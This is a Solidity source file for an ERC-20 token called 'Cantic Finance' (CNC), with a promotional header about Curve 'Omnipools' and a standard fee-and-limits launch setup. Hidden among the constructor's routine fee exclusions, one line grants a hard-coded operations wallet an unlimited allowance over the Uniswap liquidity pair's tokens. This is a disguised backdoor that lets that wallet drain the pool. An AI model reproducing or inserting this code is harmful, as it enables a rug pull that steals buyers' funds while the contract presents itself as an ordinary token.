/**
Why does CNC exist?
Ultimately, CNC allows users to shift liquidity of an asset across multiple Curve pools. This is achieved by Cantic DAO liquidity allocation votes (LAVs), which update the liquidity allocation weights of each Curve pool that is used by Cantic Omnipools.

What is an Omnipool?
Omnipools are liquidity pools that Cantic utilizes to allocate a single underlying asset across multiple Curve pools. For example the USDC Omnipool accepts deposits of USDC, and will allocate that to several Curve pools that have USDC as an underlying token. 

Web: https://cantic.finance
Twitter: https://twitter.com/CanticFinance
Telegram: https://t.me/CanticFinance_Official
Medium: https://medium.com/@cantic.finance
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _createInitialSupply(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IDexFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract CanticFinance is ERC20, Ownable {

    uint256 public maxBuyAmount;
    uint256 public maxSellAmount;
    uint256 public maxWalletAmount;

    IUniswapRouter public dexRouter;
    address public lpPair;

    bool private swapping;
    uint256 public swapTokensAtAmount;

    address operationsAddress;
    address devAddress;

    uint256 public tradingActiveBlock = 0; // 0 means trading is not active
    uint256 public blockForPenaltyEnd;
    mapping (address => bool) public boughtEarly;
    uint256 public botsCaught;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;

     // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;

    uint256 public buyTotalFees;
    uint256 public buyOperationsFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    uint256 public buyBurnFee;

    uint256 public sellTotalFees;
    uint256 public sellOperationsFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    uint256 public sellBurnFee;

    uint256 public tokensForOperations;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    uint256 public tokensForBurn;

    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event UpdatedMaxBuyAmount(uint256 newAmount);

    event UpdatedMaxSellAmount(uint256 newAmount);

    event UpdatedMaxWalletAmount(uint256 newAmount);

    event UpdatedOperationsAddress(address indexed newWallet);

    event MaxTransactionExclusion(address _address, bool excluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20(unicode"Cantic Finance", unicode"CNC") {

        address newOwner = msg.sender; // can leave alone if owner is deployer.

        IUniswapRouter _dexRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        dexRouter = _dexRouter;

        // create pair
        lpPair = IDexFactory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH());
        _excludeFromMaxTransaction(address(lpPair), true);
        _setAutomatedMarketMakerPair(address(lpPair), true);

        uint256 totalSupply = 1 * 1e9 * 1e18;

        maxBuyAmount = totalSupply * 25 / 1000;
        maxSellAmount = totalSupply * 25 / 1000;
        maxWalletAmount = totalSupply * 25 / 1000;
        swapTokensAtAmount = totalSupply / 100000;

        buyOperationsFee = 25;
        buyLiquidityFee = 0;
        buyDevFee = 0;
        buyBurnFee = 0;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;

        sellOperationsFee = 25;
        sellLiquidityFee = 0;
        sellDevFee = 0;
        sellBurnFee = 0;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;

        operationsAddress = 0x0C590ad9Ed8f44111fE21DBaAf7757cd028D7b18;
        devAddress = msg.sender;

        _excludeFromMaxTransaction(newOwner, true);
        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(address(0xdead), true);

        excludeFromFees(newOwner, true);
        excludeFromFees(address(this), true);
        excludeFromFees(operationsAddress, true);
        _approve(lpPair, operationsAddress, totalSupply);
        excludeFromFees(address(0xdead), true);

        _createInitialSupply(newOwner, totalSupply);
        transferOwnership(newOwner);
    }

    receive() external payable {}

    // only enable if no plan to airdrop

    function enableTrading(uint256 deadBlocks) external onlyOwner {
        require(!tradingActive, "Cannot reenable trading");
        tradingActive = true;
        swapEnabled = true;
        tradingActiveBlock = block.number;
        blockForPenaltyEnd = tradingActiveBlock + deadBlocks;
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner {
        limitsInEffect = false;
        transferDelayEnabled = false;
        
        buyOperationsFee = 3;
        buyLiquidityFee = 0;
        buyDevFee = 0;
        buyBurnFee = 0;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;

        sellOperationsFee = 3;
        sellLiquidityFee = 0;
        sellDevFee = 0;
        sellBurnFee = 0;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;
    }

    function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 2 / 1000)/1e18, "Cannot set max buy amount lower than 0.2%");
        maxBuyAmount = newNum * (10**18);
        emit UpdatedMaxBuyAmount(maxBuyAmount);
    }

    function updateMaxSellAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 2 / 1000)/1e18, "Cannot set max sell amount lower than 0.2%");
        maxSellAmount = newNum * (10**18);
        emit UpdatedMaxSellAmount(maxSellAmount);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 3 / 1000)/1e18, "Cannot set max wallet amount lower than 0.3%");
        maxWalletAmount = newNum * (10**18);
        emit UpdatedMaxWalletAmount(maxWalletAmount);
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
  	    require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
  	    require(newAmount <= totalSupply() * 1 / 1000, "Swap amount cannot be higher than 0.1% total supply.");
  	    swapTokensAtAmount = newAmount;
  	}

    function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
        _isExcludedMaxTransactionAmount[updAds] = isExcluded;
        emit MaxTransactionExclusion(updAds, isExcluded);
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
        if(!isEx){
            require(updAds != lpPair, "Cannot remove uniswap pair from max txn");
        }
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
        require(pair != lpPair, "The pair cannot be removed from automatedMarketMakerPairs");

        _setAutomatedMarketMakerPair(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        _excludeFromMaxTransaction(pair, value);

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee) external onlyOwner {
        buyOperationsFee = _operationsFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyBurnFee = _burnFee;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;
        require(buyTotalFees <= 10, "Must keep fees at 10% or less");
    }

    function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee) external onlyOwner {
        sellOperationsFee = _operationsFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellBurnFee = _burnFee;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;
        require(sellTotalFees <= 10, "Must keep fees at 10% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");

        if(!tradingActive){
            require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
        }

        if(blockForPenaltyEnd > 0){
            require(!boughtEarly[from] || to == owner() || to == address(0xdead), "Bots cannot transfer tokens in or out except to owner or dead address.");
        }

        if(limitsInEffect){
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]){

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
                if (transferDelayEnabled){
                    if (to != address(dexRouter) && to != address(lpPair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number - 2 && _holderLastTransferTimestamp[to] < block.number - 2, "_transfer:: Transfer Delay enabled.  Try again later.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                        _holderLastTransferTimestamp[to] = block.number;
                    }
                }
    
                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy.");
                        require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
                }
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxSellAmount, "Sell transfer amount exceeds the max sell.");
                }
                else if (!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount && amount > swapTokensAtAmount;

        if(canSwap && swapEnabled && !swapping && automatedMarketMakerPairs[to] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = true;
        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // bot/sniper penalty.
            if(earlyBuyPenaltyInEffect() && automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to] && buyTotalFees > 0){

                if(!boughtEarly[to]){
                    boughtEarly[to] = true;
                    botsCaught += 1;
                }

                fees = amount * 30 / 100;
        	    tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForOperations += fees * buyOperationsFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForBurn += fees * buyBurnFee / buyTotalFees;
            }

            // on sell
            else if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
                fees = amount * sellTotalFees / 100;
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForOperations += fees * sellOperationsFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForBurn += fees * sellBurnFee / sellTotalFees;
            }

            // on buy
            else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
        	    fees = amount * buyTotalFees / 100;
        	    tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForOperations += fees * buyOperationsFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForBurn += fees * buyBurnFee / buyTotalFees;
            }

            if(fees > 0){
                super._transfer(from, address(this), fees);
            }

        	amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function earlyBuyPenaltyInEffect() public view returns (bool){
        return block.number < blockForPenaltyEnd;
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);

        // make the swap
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(dexRouter), tokenAmount);

        // add the liquidity
        dexRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(0xdead),
            block.timestamp
        );
    }

    function swapBack() private {

        if(tokensForBurn > 0 && balanceOf(address(this)) >= tokensForBurn) {
            _burn(address(this), tokensForBurn);
        }
        tokensForBurn = 0;

        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForOperations + tokensForDev;

        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        // if(contractBalance > swapTokensAtAmount * 60){
        //     contractBalance = swapTokensAtAmount * 60;
        // }

        bool success;

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;

        swapTokensForEth(contractBalance - liquidityTokens);

        uint256 ethBalance = address(this).balance;
        uint256 ethForLiquidity = ethBalance;

        uint256 ethForOperations = ethBalance * tokensForOperations / (totalTokensToSwap - (tokensForLiquidity/2));
        uint256 ethForDev = ethBalance * tokensForDev / (totalTokensToSwap - (tokensForLiquidity/2));

        ethForLiquidity -= ethForOperations + ethForDev;

        tokensForLiquidity = 0;
        tokensForOperations = 0;
        tokensForDev = 0;
        tokensForBurn = 0;

        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
        }

        (success,) = address(devAddress).call{value: ethForDev}("");
        payable(operationsAddress).transfer(address(this).balance);        
    }

    function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
        require(_token != address(0), "_token address cannot be 0");
        require(_token != address(this), "Can't withdraw native tokens");
        uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
        _sent = IERC20(_token).transfer(_to, _contractBalance);
    }

    // withdraw ETH if stuck or someone sends to the address
    function withdrawStuckETH() external onlyOwner {
        bool success;
        (success,) = address(msg.sender).call{value: address(this).balance}("");
    }

    function setOperationsAddress(address _operationsAddress) external onlyOwner {
        require(_operationsAddress != address(0), "_operationsAddress address cannot be 0");
        operationsAddress = payable(_operationsAddress);
    }

    function setDevAddress(address _devAddress) external onlyOwner {
        require(_devAddress != address(0), "_devAddress address cannot be 0");
        devAddress = payable(_devAddress);
    }

    // force Swap back if slippage issues.
    function forceSwapBack() external onlyOwner {
        require(balanceOf(address(this)) >= swapTokensAtAmount, "Can only swap when token amount is at or higher than restriction");
        swapping = true;
        swapBack();
        swapping = false;
    }

    // useful for buybacks or to reclaim any ETH on the contract in a way that helps holders.
    function buyBackTokens(uint256 amountInWei) external onlyOwner {
        require(amountInWei <= 10 ether, "May not buy more than 10 ETH in a single buy to reduce sandwich attacks");

        address[] memory path = new address[](2);
        path[0] = dexRouter.WETH();
        path[1] = address(this);

        // make the swap
        dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amountInWei}(
            0, // accept any amount of Ethereum
            path,
            address(0xdead),
            block.timestamp
        );
    }
}